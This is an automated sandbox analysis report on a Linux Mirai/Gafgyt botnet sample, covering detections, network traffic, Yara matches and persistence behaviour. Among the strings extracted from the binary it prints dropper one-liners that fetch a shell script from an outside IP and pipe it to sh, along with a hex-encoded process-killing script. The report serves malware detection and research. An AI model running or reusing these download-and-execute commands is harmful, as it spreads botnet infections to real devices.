Linux Analysis Report
HUWwCrf0mn.elf

Overview

General Information

Sample name: HUWwCrf0mn.elf
renamed because original name is a hash value
Original sample name: ff55ea389e9d35966e193ea84fe8ca5d.elf
Analysis ID: 1531324
MD5: ff55ea389e9d35966e193ea84fe8ca5d
SHA1: c1b8b7385420f9045112b476af4e35ebd607945a
SHA256: 3c60e9e280de8798ffebfdd361f2fbbafe78c65e4ba0579ae1717684594a2ed5
Tags: 64elfmirai
Infos:

Detection

Mirai, Okiru
Score: 100
Range: 0 - 100
Whitelisted: false

Signatures

Antivirus / Scanner detection for submitted sample
Malicious sample detected (through community Yara rule)
Multi AV Scanner detection for submitted file
Yara detected Mirai
Yara detected Okiru
Drops files in suspicious directories
Machine Learning detection for sample
Sample tries to persist itself using /etc/profile
Sample tries to persist itself using System V runlevels
Sample tries to set files in /etc globally writable
Uses known network protocols on non-standard ports
Detected TCP or UDP traffic on non-standard ports
Enumerates processes within the "proc" file system
Executes commands using a shell command-line interpreter
Executes the "chmod" command used to modify permissions
Executes the "mkdir" command used to create folders
Executes the "systemctl" command used for controlling the systemd system and service manager
Found strings indicative of a multi-platform dropper
Sample contains strings indicative of BusyBox which embeds multiple Unix commands in a single executable
Sample has stripped symbol table
Sample listens on a socket
Sample tries to kill a process (SIGKILL)
Sample tries to set the executable flag
Tries to connect to HTTP servers, but all servers are down (expired dropper behavior)
Writes shell script file to disk with an unusual file extension
Yara signature match

Classification

AV Detection
barindex
Antivirus / Scanner detection for submitted sample
Source: HUWwCrf0mn.elf Avira: detected
Multi AV Scanner detection for submitted file
Source: HUWwCrf0mn.elf ReversingLabs: Detection: 57%
Source: HUWwCrf0mn.elf Virustotal: Detection: 62% Perma Link
Machine Learning detection for sample
Source: HUWwCrf0mn.elf Joe Sandbox ML: detected
Found strings indicative of a multi-platform dropper
Source: HUWwCrf0mn.elf String: (deleted)/proc/self/exe/proc/%s/exe/proc/opendir/proc/%d/proc/proc/%u/statusPPid:/proc/%u/cmdline-bash-sh/bin/sh487154914<146<2surf2/proc/%d/exe/.socket/tmp/usr/lib/systemd/*/usr/sbin/*/usr/sbin/agetty/usr/sbin/cron/usr/lib/policykit-1/polkitd/usr/bin/dbus-daemon/usr/lib/openssh/sftp-server-sshd**deamon*/opt/app/monitor/z/secom//usr/lib/sys/media/srv/sbin/httpdtelnetddropbearencodersystem/var/tmp/wlancontarm.nnarm5.nnarm6.nnm68k.nnmips.nnmipsel.nnpowerpc.nnsparc.nnx86_32.nnx86_64.nn/initvar/Challengeapp/hi3511gmDVRiboxusr/dvr_main _8182T_1108mnt/mtd/app/guivar/Kylinl0 c/udevdvar/tmp/soniahicorestm_hi3511_dvr/bin/busybox/usr/lib/systemd/systemdhome/Davincissh/var/spool/var/Sofiasshd/usr/compress/bin//compress/bin/compress/usr//root/dvr_gui//root/dvr_app//anko-app//opt/wgetcurlping/pswiresharktcpdumpnetstatpythoniptablesnanonvimgdbpkillkillallapt/bin/loginFound And Killed Process: PID=%d, Realpath=%s/snap/snapd/15534/usr/lib/snapd/snapd/usr/libexec/openssh/sftp-serveranko-app/ankosample _8182T_1104/proc/self/statusTracerPid/proc/1/cgroupkubepods/etc/motd%s
Source: HUWwCrf0mn.elf String: .dThe Gorilla/var//var/run//var/tmp//dev//dev/shm//etc//mnt//boot//home/armarm5arm6arm7mipsmpslppcspcsh4/bin/busybox wget http://154.216.19.140/lol.sh -O- | sh;/bin/busybox tftp -g http://154.216.19.140/ -r lol.sh -l- | sh;/bin/busybox ftpget http://154.216.19.140/ lol.sh lol.sh && sh lol.sh;curl http://154.216.19.140/curl.sh -o- | sh/bin/busybox chmod +x .d; ./.d; ./dvrHelper selfrep"\x23\x21\x2F\x62\x69\x6E\x2F\x73\x68\x0A\x0A\x66\x6F\x72\x20\x70\x72\x6F\x63\x5F\x64\x69\x72\x20\x69\x6E\x20\x2F\x70\x72\x6F\x63""\x2F\x2A\x3B\x20\x64\x6F\x0A\x20\x20\x20\x20\x70\x69\x64\x3D\x24\x7B\x70\x72\x6F\x63\x5F\x64\x69\x72\x23\x23\x2A\x2F\x7D\x0A\x0A""\x20\x20\x20\x20\x72\x65\x73\x75\x6C\x74\x3D\x24\x28\x6C\x73\x20\x2D\x6C\x20\x22\x2F\x70\x72\x6F\x63\x2F\x24\x70\x69\x64\x2F\x65""\x78\x65\x22\x20\x32\x3E\x20\x2F\x64\x65\x76\x2F\x6E\x75\x6C\x6C\x29\x0A\x0A\x20\x20\x20\x20\x69\x66\x20\x5B\x20\x22\x24\x72\x65""\x73\x75\x6C\x74\x22\x20\x21\x3D\x20\x22\x24\x7B\x72\x65\x73\x75\x6C\x74\x25\x28\x64\x65\x6C\x65\x74\x65\x64\x29\x7D\x22\x20\x5D""\x3B\x20\x74\x68\x65\x6E\x0A\x20\x20\x20\x20\x20\x20\x20\x20\x6B\x69\x6C\x6C\x20\x2D\x39\x20\x22\x24\x70\x69\x64\x22\x0A\x20\x20""\x20\x20\x66\x69\x0A\x64\x6F\x6E\x65\x0A"6

Networking
barindex
Uses known network protocols on non-standard ports
Source: unknown Network traffic detected: HTTP traffic on port 23 -> 37932
Detected TCP or UDP traffic on non-standard ports
Source: global traffic TCP traffic: 192.168.2.23:38960 -> 154.216.19.139:199
Source: global traffic TCP traffic: 192.168.2.23:41444 -> 193.143.1.59:38242
Source: global traffic TCP traffic: 192.168.2.23:39272 -> 87.120.84.105:38242
Source: global traffic TCP traffic: 192.168.2.23:53454 -> 185.170.144.84:38242
Sample listens on a socket
Source: /tmp/HUWwCrf0mn.elf (PID: 6232) Socket: 0.0.0.0:38242 Jump to behavior
Tries to connect to HTTP servers, but all servers are down (expired dropper behavior)
Source: global traffic TCP traffic: 192.168.2.23:43928 -> 91.189.91.42:443
Source: global traffic TCP traffic: 192.168.2.23:42836 -> 91.189.91.43:443
Source: global traffic TCP traffic: 192.168.2.23:42516 -> 109.202.202.202:80
Source: unknown TCP traffic detected without corresponding DNS query: 91.189.91.42
Source: unknown TCP traffic detected without corresponding DNS query: 154.216.19.139
Source: unknown TCP traffic detected without corresponding DNS query: 154.216.19.139
Source: unknown TCP traffic detected without corresponding DNS query: 154.216.19.139
Source: unknown TCP traffic detected without corresponding DNS query: 154.216.19.139
Source: unknown TCP traffic detected without corresponding DNS query: 154.216.19.139
Source: unknown TCP traffic detected without corresponding DNS query: 154.216.19.139
Source: unknown TCP traffic detected without corresponding DNS query: 154.216.19.139
Source: unknown TCP traffic detected without corresponding DNS query: 154.216.19.139
Source: unknown TCP traffic detected without corresponding DNS query: 154.216.19.139
Source: unknown TCP traffic detected without corresponding DNS query: 154.216.19.139
Source: unknown TCP traffic detected without corresponding DNS query: 154.216.19.139
Source: unknown TCP traffic detected without corresponding DNS query: 154.216.19.139
Source: unknown TCP traffic detected without corresponding DNS query: 154.216.19.139
Source: unknown TCP traffic detected without corresponding DNS query: 154.216.19.139
Source: unknown TCP traffic detected without corresponding DNS query: 154.216.19.139
Source: unknown TCP traffic detected without corresponding DNS query: 154.216.19.139
Source: unknown TCP traffic detected without corresponding DNS query: 154.216.19.139
Source: unknown TCP traffic detected without corresponding DNS query: 154.216.19.139
Source: unknown TCP traffic detected without corresponding DNS query: 154.216.19.139
Source: unknown TCP traffic detected without corresponding DNS query: 154.216.19.139
Source: unknown TCP traffic detected without corresponding DNS query: 154.216.19.139
Source: unknown TCP traffic detected without corresponding DNS query: 154.216.19.139
Source: unknown TCP traffic detected without corresponding DNS query: 154.216.19.139
Source: unknown TCP traffic detected without corresponding DNS query: 154.216.19.139
Source: unknown TCP traffic detected without corresponding DNS query: 154.216.19.139
Source: unknown TCP traffic detected without corresponding DNS query: 154.216.19.139
Source: unknown TCP traffic detected without corresponding DNS query: 154.216.19.139
Source: unknown TCP traffic detected without corresponding DNS query: 154.216.19.139
Source: unknown TCP traffic detected without corresponding DNS query: 154.216.19.139
Source: unknown TCP traffic detected without corresponding DNS query: 154.216.19.139
Source: unknown TCP traffic detected without corresponding DNS query: 154.216.19.139
Source: unknown TCP traffic detected without corresponding DNS query: 154.216.19.139
Source: unknown TCP traffic detected without corresponding DNS query: 154.216.19.139
Source: unknown TCP traffic detected without corresponding DNS query: 154.216.19.139
Source: unknown TCP traffic detected without corresponding DNS query: 154.216.19.139
Source: unknown TCP traffic detected without corresponding DNS query: 154.216.19.139
Source: unknown TCP traffic detected without corresponding DNS query: 154.216.19.139
Source: unknown TCP traffic detected without corresponding DNS query: 154.216.19.139
Source: unknown TCP traffic detected without corresponding DNS query: 154.216.19.139
Source: unknown TCP traffic detected without corresponding DNS query: 154.216.19.139
Source: unknown TCP traffic detected without corresponding DNS query: 154.216.19.139
Source: unknown TCP traffic detected without corresponding DNS query: 154.216.19.139
Source: unknown TCP traffic detected without corresponding DNS query: 154.216.19.139
Source: unknown TCP traffic detected without corresponding DNS query: 154.216.19.139
Source: unknown TCP traffic detected without corresponding DNS query: 154.216.19.139
Source: unknown TCP traffic detected without corresponding DNS query: 154.216.19.139
Source: unknown TCP traffic detected without corresponding DNS query: 154.216.19.139
Source: unknown TCP traffic detected without corresponding DNS query: 154.216.19.139
Source: unknown TCP traffic detected without corresponding DNS query: 154.216.19.139
Source: HUWwCrf0mn.elf, profile.12.dr, inittab.12.dr, sh.37.dr, bootcmd.12.dr, mybinary.12.dr, custom.service.12.dr String found in binary or memory: http://154.216.19.140/
Source: HUWwCrf0mn.elf String found in binary or memory: http://154.216.19.140/curl.sh
Source: HUWwCrf0mn.elf String found in binary or memory: http://154.216.19.140/lol.sh
Source: unknown Network traffic detected: HTTP traffic on port 43928 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 42836 -> 443

System Summary
barindex
Malicious sample detected (through community Yara rule)
Source: HUWwCrf0mn.elf, type: SAMPLE Matched rule: Linux_Trojan_Gafgyt_9e9530a7 Author: unknown
Source: HUWwCrf0mn.elf, type: SAMPLE Matched rule: Linux_Trojan_Gafgyt_807911a2 Author: unknown
Source: HUWwCrf0mn.elf, type: SAMPLE Matched rule: Linux_Trojan_Gafgyt_d4227dbf Author: unknown
Source: HUWwCrf0mn.elf, type: SAMPLE Matched rule: Linux_Trojan_Gafgyt_d996d335 Author: unknown
Source: HUWwCrf0mn.elf, type: SAMPLE Matched rule: Linux_Trojan_Gafgyt_620087b9 Author: unknown
Source: HUWwCrf0mn.elf, type: SAMPLE Matched rule: Linux_Trojan_Gafgyt_33b4111a Author: unknown
Source: HUWwCrf0mn.elf, type: SAMPLE Matched rule: Linux_Trojan_Mirai_e0cf29e2 Author: unknown
Source: 6245.1.0000000000400000.0000000000418000.r-x.sdmp, type: MEMORY Matched rule: Linux_Trojan_Gafgyt_9e9530a7 Author: unknown
Source: 6245.1.0000000000400000.0000000000418000.r-x.sdmp, type: MEMORY Matched rule: Linux_Trojan_Gafgyt_807911a2 Author: unknown
Source: 6245.1.0000000000400000.0000000000418000.r-x.sdmp, type: MEMORY Matched rule: Linux_Trojan_Gafgyt_d4227dbf Author: unknown
Source: 6245.1.0000000000400000.0000000000418000.r-x.sdmp, type: MEMORY Matched rule: Linux_Trojan_Gafgyt_d996d335 Author: unknown
Source: 6245.1.0000000000400000.0000000000418000.r-x.sdmp, type: MEMORY Matched rule: Linux_Trojan_Gafgyt_620087b9 Author: unknown
Source: 6245.1.0000000000400000.0000000000418000.r-x.sdmp, type: MEMORY Matched rule: Linux_Trojan_Gafgyt_33b4111a Author: unknown
Source: 6245.1.0000000000400000.0000000000418000.r-x.sdmp, type: MEMORY Matched rule: Linux_Trojan_Mirai_e0cf29e2 Author: unknown
Source: 6232.1.0000000000400000.0000000000418000.r-x.sdmp, type: MEMORY Matched rule: Linux_Trojan_Gafgyt_9e9530a7 Author: unknown
Source: 6232.1.0000000000400000.0000000000418000.r-x.sdmp, type: MEMORY Matched rule: Linux_Trojan_Gafgyt_807911a2 Author: unknown
Source: 6232.1.0000000000400000.0000000000418000.r-x.sdmp, type: MEMORY Matched rule: Linux_Trojan_Gafgyt_d4227dbf Author: unknown
Source: 6232.1.0000000000400000.0000000000418000.r-x.sdmp, type: MEMORY Matched rule: Linux_Trojan_Gafgyt_d996d335 Author: unknown
Source: 6232.1.0000000000400000.0000000000418000.r-x.sdmp, type: MEMORY Matched rule: Linux_Trojan_Gafgyt_620087b9 Author: unknown
Source: 6232.1.0000000000400000.0000000000418000.r-x.sdmp, type: MEMORY Matched rule: Linux_Trojan_Gafgyt_33b4111a Author: unknown
Source: 6232.1.0000000000400000.0000000000418000.r-x.sdmp, type: MEMORY Matched rule: Linux_Trojan_Mirai_e0cf29e2 Author: unknown
Sample contains strings indicative of BusyBox which embeds multiple Unix commands in a single executable
Source: Initial sample String containing 'busybox' found: /bin/busybox
Source: Initial sample String containing 'busybox' found: (deleted)/proc/self/exe/proc/%s/exe/proc/opendir/proc/%d/proc/proc/%u/statusPPid:/proc/%u/cmdline-bash-sh/bin/sh487154914<146<2surf2/proc/%d/exe/.socket/tmp/usr/lib/systemd/*/usr/sbin/*/usr/sbin/agetty/usr/sbin/cron/usr/lib/policykit-1/polkitd/usr/bin/dbus-daemon/usr/lib/openssh/sftp-server-sshd**deamon*/opt/app/monitor/z/secom//usr/lib/sys/media/srv/sbin/httpdtelnetddropbearencodersystem/var/tmp/wlancontarm.nnarm5.nnarm6.nnm68k.nnmips.nnmipsel.nnpowerpc.nnsparc.nnx86_32.nnx86_64.nn/initvar/Challengeapp/hi3511gmDVRiboxusr/dvr_main _8182T_1108mnt/mtd/app/guivar/Kylinl0 c/udevdvar/tmp/soniahicorestm_hi3511_dvr/bin/busybox/usr/lib/systemd/systemdhome/Davincissh/var/spool/var/Sofiasshd/usr/compress/bin//compress/bin/compress/usr//root/dvr_gui//root/dvr_app//anko-app//opt/wgetcurlping/pswiresharktcpdumpnetstatpythoniptablesnanonvimgdbpkillkillallapt/bin/loginFound And Killed Process: PID=%d, Realpath=%s/snap/snapd/15534/usr/lib/snapd/snapd/usr/libexec/openssh/sftp-serveranko-app/ankosample _8182T_1104/proc/self/st
Source: Initial sample String containing 'busybox' found: usage: busybox
Source: Initial sample String containing 'busybox' found: /bin/busybox hostname PBOC
Source: Initial sample String containing 'busybox' found: /bin/busybox echo >
Source: Initial sample String containing 'busybox' found: /bin/busybox echo -ne
Source: Initial sample String containing 'busybox' found: /bin/busybox wget http://154.216.19.140/lol.sh -O- | sh;
Source: Initial sample String containing 'busybox' found: /bin/busybox tftp -g http://154.216.19.140/ -r lol.sh -l- | sh;
Source: Initial sample String containing 'busybox' found: /bin/busybox ftpget http://154.216.19.140/ lol.sh lol.sh && sh lol.sh;
Source: Initial sample String containing 'busybox' found: /bin/busybox chmod +x .d; ./.d; ./dvrHelper selfrep
Source: Initial sample String containing 'busybox' found: incorrectinvalidbadwrongfaildeniederrorretryenablelinuxshellping ;shusage: busybox/bin/busybox hostname PBOC/bin/busybox echo > .b && sh .b && cd /bin/busybox echo -ne >> >sh .k154.216.19.140GET /dlr. HTTP/1.0
Source: Initial sample String containing 'busybox' found: .dThe Gorilla/var//var/run//var/tmp//dev//dev/shm//etc//mnt//boot//home/armarm5arm6arm7mipsmpslppcspcsh4/bin/busybox wget http://154.216.19.140/lol.sh -O- | sh;/bin/busybox tftp -g http://154.216.19.140/ -r lol.sh -l- | sh;/bin/busybox ftpget http://154.216.19.140/ lol.sh lol.sh && sh lol.sh;curl http://154.216.19.140/curl.sh -o- | sh/bin/busybox chmod +x .d; ./.d; ./dvrHelper selfrep"\x23\x21\x2F\x62\x69\x6E\x2F\x73\x68\x0A\x0A\x66\x6F\x72\x20\x70\x72\x6F\x63\x5F\x64\x69\x72\x20\x69\x6E\x20\x2F\x70\x72\x6F\x63""\x2F\x2A\x3B\x20\x64\x6F\x0A\x20\x20\x20\x20\x70\x69\x64\x3D\x24\x7B\x70\x72\x6F\x63\x5F\x64\x69\x72\x23\x23\x2A\x2F\x7D\x0A\x0A""\x20\x20\x20\x20\x72\x65\x73\x75\x6C\x74\x3D\x24\x28\x6C\x73\x20\x2D\x6C\x20\x22\x2F\x70\x72\x6F\x63\x2F\x24\x70\x69\x64\x2F\x65""\x78\x65\x22\x20\x32\x3E\x20\x2F\x64\x65\x76\x2F\x6E\x75\x6C\x6C\x29\x0A\x0A\x20\x20\x20\x20\x69\x66\x20\x5B\x20\x22\x24\x72\x65""\x73\x75\x6C\x74\x22\x20\x21\x3D\x20\x22\x24\x7B\x72\x65\x73\x75\x6C\x74\x25\x28\x64\x65\x6C\x65\x74\x65\x64\x29\x7
Sample has stripped symbol table
Source: ELF static info symbol of initial sample .symtab present: no
Sample tries to kill a process (SIGKILL)
Source: /tmp/HUWwCrf0mn.elf (PID: 6245) SIGKILL sent: pid: 788, result: successful Jump to behavior
Source: /tmp/HUWwCrf0mn.elf (PID: 6245) SIGKILL sent: pid: 884, result: successful Jump to behavior
Source: /tmp/HUWwCrf0mn.elf (PID: 6245) SIGKILL sent: pid: 1664, result: successful Jump to behavior
Source: /tmp/HUWwCrf0mn.elf (PID: 6245) SIGKILL sent: pid: 2096, result: successful Jump to behavior
Source: /tmp/HUWwCrf0mn.elf (PID: 6245) SIGKILL sent: pid: 2102, result: successful Jump to behavior
Source: /tmp/HUWwCrf0mn.elf (PID: 6245) SIGKILL sent: pid: 2223, result: successful Jump to behavior
Source: /tmp/HUWwCrf0mn.elf (PID: 6245) SIGKILL sent: pid: 6291, result: successful Jump to behavior
Source: /tmp/HUWwCrf0mn.elf (PID: 6245) SIGKILL sent: pid: 6294, result: successful Jump to behavior
Yara signature match
Source: HUWwCrf0mn.elf, type: SAMPLE Matched rule: Linux_Trojan_Gafgyt_9e9530a7 reference_sample = 01da73e0d425b4d97c5ad75c49657f95618b394d09bd6be644eb968a3b894961, os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Gafgyt, fingerprint = d6ad6512051e87c8c35dc168d82edd071b122d026dce21d39b9782b3d6a01e50, id = 9e9530a7-ad4d-4a44-b764-437b7621052f, last_modified = 2021-09-16
Source: HUWwCrf0mn.elf, type: SAMPLE Matched rule: Linux_Trojan_Gafgyt_807911a2 os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Gafgyt, fingerprint = f409037091b7372f5a42bbe437316bd11c655e7a5fe1fcf83d1981cb5c4a389f, id = 807911a2-f6ec-4e65-924f-61cb065dafc6, last_modified = 2021-09-16
Source: HUWwCrf0mn.elf, type: SAMPLE Matched rule: Linux_Trojan_Gafgyt_d4227dbf reference_sample = 01da73e0d425b4d97c5ad75c49657f95618b394d09bd6be644eb968a3b894961, os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Gafgyt, fingerprint = 58c4b1d4d167876b64cfa10f609911a80284180e4db093917fea16fae8ccd4e3, id = d4227dbf-6ab4-4637-a6ba-0e604acaafb4, last_modified = 2021-09-16
Source: HUWwCrf0mn.elf, type: SAMPLE Matched rule: Linux_Trojan_Gafgyt_d996d335 reference_sample = b511eacd4b44744c8cf82d1b4a9bc6f1022fe6be7c5d17356b171f727ddc6eda, os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Gafgyt, fingerprint = e9ccb8412f32187c309b0e9afcc3a6da21ad2f1ffa251c27f9f720ccb284e3ac, id = d996d335-e049-4052-bf36-6cd07c911a8b, last_modified = 2021-09-16
Source: HUWwCrf0mn.elf, type: SAMPLE Matched rule: Linux_Trojan_Gafgyt_620087b9 reference_sample = 01da73e0d425b4d97c5ad75c49657f95618b394d09bd6be644eb968a3b894961, os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Gafgyt, fingerprint = 06cd7e6eb62352ec2ccb9ed48e58c0583c02fefd137cd048d053ab30b5330307, id = 620087b9-c87d-4752-89e8-ca1c16486b28, last_modified = 2021-09-16
Source: HUWwCrf0mn.elf, type: SAMPLE Matched rule: Linux_Trojan_Gafgyt_33b4111a reference_sample = 01da73e0d425b4d97c5ad75c49657f95618b394d09bd6be644eb968a3b894961, os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Gafgyt, fingerprint = 9c3b63b9a0f54006bae12abcefdb518904a85f78be573f0780f0a265b12d2d6e, id = 33b4111a-e59e-48db-9d74-34ca44fcd9f5, last_modified = 2021-09-16
Source: HUWwCrf0mn.elf, type: SAMPLE Matched rule: Linux_Trojan_Mirai_e0cf29e2 os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Mirai, fingerprint = 3f124c3c9f124264dfbbcca1e4b4d7cfcf3274170d4bf8966b6559045873948f, id = e0cf29e2-88d7-4aa4-b60a-c24626f2b246, last_modified = 2021-09-16
Source: 6245.1.0000000000400000.0000000000418000.r-x.sdmp, type: MEMORY Matched rule: Linux_Trojan_Gafgyt_9e9530a7 reference_sample = 01da73e0d425b4d97c5ad75c49657f95618b394d09bd6be644eb968a3b894961, os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Gafgyt, fingerprint = d6ad6512051e87c8c35dc168d82edd071b122d026dce21d39b9782b3d6a01e50, id = 9e9530a7-ad4d-4a44-b764-437b7621052f, last_modified = 2021-09-16
Source: 6245.1.0000000000400000.0000000000418000.r-x.sdmp, type: MEMORY Matched rule: Linux_Trojan_Gafgyt_807911a2 os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Gafgyt, fingerprint = f409037091b7372f5a42bbe437316bd11c655e7a5fe1fcf83d1981cb5c4a389f, id = 807911a2-f6ec-4e65-924f-61cb065dafc6, last_modified = 2021-09-16
Source: 6245.1.0000000000400000.0000000000418000.r-x.sdmp, type: MEMORY Matched rule: Linux_Trojan_Gafgyt_d4227dbf reference_sample = 01da73e0d425b4d97c5ad75c49657f95618b394d09bd6be644eb968a3b894961, os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Gafgyt, fingerprint = 58c4b1d4d167876b64cfa10f609911a80284180e4db093917fea16fae8ccd4e3, id = d4227dbf-6ab4-4637-a6ba-0e604acaafb4, last_modified = 2021-09-16
Source: 6245.1.0000000000400000.0000000000418000.r-x.sdmp, type: MEMORY Matched rule: Linux_Trojan_Gafgyt_d996d335 reference_sample = b511eacd4b44744c8cf82d1b4a9bc6f1022fe6be7c5d17356b171f727ddc6eda, os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Gafgyt, fingerprint = e9ccb8412f32187c309b0e9afcc3a6da21ad2f1ffa251c27f9f720ccb284e3ac, id = d996d335-e049-4052-bf36-6cd07c911a8b, last_modified = 2021-09-16
Source: 6245.1.0000000000400000.0000000000418000.r-x.sdmp, type: MEMORY Matched rule: Linux_Trojan_Gafgyt_620087b9 reference_sample = 01da73e0d425b4d97c5ad75c49657f95618b394d09bd6be644eb968a3b894961, os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Gafgyt, fingerprint = 06cd7e6eb62352ec2ccb9ed48e58c0583c02fefd137cd048d053ab30b5330307, id = 620087b9-c87d-4752-89e8-ca1c16486b28, last_modified = 2021-09-16
Source: 6245.1.0000000000400000.0000000000418000.r-x.sdmp, type: MEMORY Matched rule: Linux_Trojan_Gafgyt_33b4111a reference_sample = 01da73e0d425b4d97c5ad75c49657f95618b394d09bd6be644eb968a3b894961, os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Gafgyt, fingerprint = 9c3b63b9a0f54006bae12abcefdb518904a85f78be573f0780f0a265b12d2d6e, id = 33b4111a-e59e-48db-9d74-34ca44fcd9f5, last_modified = 2021-09-16
Source: 6245.1.0000000000400000.0000000000418000.r-x.sdmp, type: MEMORY Matched rule: Linux_Trojan_Mirai_e0cf29e2 os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Mirai, fingerprint = 3f124c3c9f124264dfbbcca1e4b4d7cfcf3274170d4bf8966b6559045873948f, id = e0cf29e2-88d7-4aa4-b60a-c24626f2b246, last_modified = 2021-09-16
Source: 6232.1.0000000000400000.0000000000418000.r-x.sdmp, type: MEMORY Matched rule: Linux_Trojan_Gafgyt_9e9530a7 reference_sample = 01da73e0d425b4d97c5ad75c49657f95618b394d09bd6be644eb968a3b894961, os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Gafgyt, fingerprint = d6ad6512051e87c8c35dc168d82edd071b122d026dce21d39b9782b3d6a01e50, id = 9e9530a7-ad4d-4a44-b764-437b7621052f, last_modified = 2021-09-16
Source: 6232.1.0000000000400000.0000000000418000.r-x.sdmp, type: MEMORY Matched rule: Linux_Trojan_Gafgyt_807911a2 os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Gafgyt, fingerprint = f409037091b7372f5a42bbe437316bd11c655e7a5fe1fcf83d1981cb5c4a389f, id = 807911a2-f6ec-4e65-924f-61cb065dafc6, last_modified = 2021-09-16
Source: 6232.1.0000000000400000.0000000000418000.r-x.sdmp, type: MEMORY Matched rule: Linux_Trojan_Gafgyt_d4227dbf reference_sample = 01da73e0d425b4d97c5ad75c49657f95618b394d09bd6be644eb968a3b894961, os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Gafgyt, fingerprint = 58c4b1d4d167876b64cfa10f609911a80284180e4db093917fea16fae8ccd4e3, id = d4227dbf-6ab4-4637-a6ba-0e604acaafb4, last_modified = 2021-09-16
Source: 6232.1.0000000000400000.0000000000418000.r-x.sdmp, type: MEMORY Matched rule: Linux_Trojan_Gafgyt_d996d335 reference_sample = b511eacd4b44744c8cf82d1b4a9bc6f1022fe6be7c5d17356b171f727ddc6eda, os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Gafgyt, fingerprint = e9ccb8412f32187c309b0e9afcc3a6da21ad2f1ffa251c27f9f720ccb284e3ac, id = d996d335-e049-4052-bf36-6cd07c911a8b, last_modified = 2021-09-16
Source: 6232.1.0000000000400000.0000000000418000.r-x.sdmp, type: MEMORY Matched rule: Linux_Trojan_Gafgyt_620087b9 reference_sample = 01da73e0d425b4d97c5ad75c49657f95618b394d09bd6be644eb968a3b894961, os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Gafgyt, fingerprint = 06cd7e6eb62352ec2ccb9ed48e58c0583c02fefd137cd048d053ab30b5330307, id = 620087b9-c87d-4752-89e8-ca1c16486b28, last_modified = 2021-09-16
Source: 6232.1.0000000000400000.0000000000418000.r-x.sdmp, type: MEMORY Matched rule: Linux_Trojan_Gafgyt_33b4111a reference_sample = 01da73e0d425b4d97c5ad75c49657f95618b394d09bd6be644eb968a3b894961, os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Gafgyt, fingerprint = 9c3b63b9a0f54006bae12abcefdb518904a85f78be573f0780f0a265b12d2d6e, id = 33b4111a-e59e-48db-9d74-34ca44fcd9f5, last_modified = 2021-09-16
Source: 6232.1.0000000000400000.0000000000418000.r-x.sdmp, type: MEMORY Matched rule: Linux_Trojan_Mirai_e0cf29e2 os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Mirai, fingerprint = 3f124c3c9f124264dfbbcca1e4b4d7cfcf3274170d4bf8966b6559045873948f, id = e0cf29e2-88d7-4aa4-b60a-c24626f2b246, last_modified = 2021-09-16
Source: classification engine Classification label: mal100.spre.troj.evad.linELF@0/9@0/0

Persistence and Installation Behavior
barindex
Sample tries to persist itself using /etc/profile
Source: /tmp/HUWwCrf0mn.elf (PID: 6232) File: /etc/profile Jump to behavior
Sample tries to persist itself using System V runlevels
Source: /tmp/HUWwCrf0mn.elf (PID: 6232) File: /etc/rc.local Jump to behavior
Source: /usr/bin/ln (PID: 6312) File: /etc/rcS.d/S99mybinary -> /etc/init.d/mybinary Jump to behavior
Source: /usr/bin/ln (PID: 6319) File: /etc/rc.d/S99sh -> /etc/init.d/sh Jump to behavior
Sample tries to set files in /etc globally writable
Source: /tmp/HUWwCrf0mn.elf (PID: 6232) File: /etc/rc.local (bits: - usr: rx grp: rx all: rwx) Jump to behavior
Source: /usr/bin/chmod (PID: 6303) File: /etc/init.d/mybinary (bits: - usr: rx grp: rx all: rwx) Jump to behavior
Source: /usr/bin/chmod (PID: 6315) File: /etc/init.d/sh (bits: - usr: rx grp: rx all: rwx) Jump to behavior
Enumerates processes within the "proc" file system
Source: /tmp/HUWwCrf0mn.elf (PID: 6325) File opened: /proc/6430/status Jump to behavior
Source: /tmp/HUWwCrf0mn.elf (PID: 6325) File opened: /proc/6399/status Jump to behavior
Source: /tmp/HUWwCrf0mn.elf (PID: 6325) File opened: /proc/6432/status Jump to behavior
Source: /tmp/HUWwCrf0mn.elf (PID: 6325) File opened: /proc/6398/status Jump to behavior
Source: /tmp/HUWwCrf0mn.elf (PID: 6325) File opened: /proc/6431/status Jump to behavior
Source: /tmp/HUWwCrf0mn.elf (PID: 6325) File opened: /proc/6434/status Jump to behavior
